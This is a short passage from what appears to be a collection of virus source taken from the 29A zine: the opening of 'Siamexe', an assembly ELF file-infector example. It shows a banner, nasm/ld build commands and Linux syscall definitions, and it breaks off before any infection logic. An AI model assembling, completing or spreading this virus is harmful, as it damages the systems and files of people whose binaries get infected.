29a-7.011

从29A上收集的病毒源码

;  _____                  ______       ___   ___
; /     \_  ______ __ __ /     /~|_ ___\_ \ /  /___
; |  _  /_]/  __  \  '  V  ___/  _/  __  \ '  /    \
; |  __/  |   ____/  |  |___  \  |   ____/   /  --  \
; |__| |__|\______/__|__|_____/__|\_____/\__/\______/
;
; This an example of an elf binary infection
; This technique is inspired of winux virus of Benny (great work)
;
;
; to Assemble it:
;	nasm -f elf Siamexe.asm
;	ld -o Siamexe Siamexe.o


bits 32
global _start

section .text

	%define SYS_exit 1
	%define SYS_read 3
	%define SYS_write 4
	%define SYS_open 5
	%define SYS_close 6
	%define SYS_execve 11
	%define SYS_seek 19
	%define SYS_brk 45
	%define SYS_sethostname 74
	%define SYS_readdir 89
	%define SYS_mmap 90
	%define SYS_munmap 91
	%define SYS_lstat 107
	%define SYS_uname 109
	%define SYS_deprotect 125
	%define SYS_get_kernel_syms 130

;-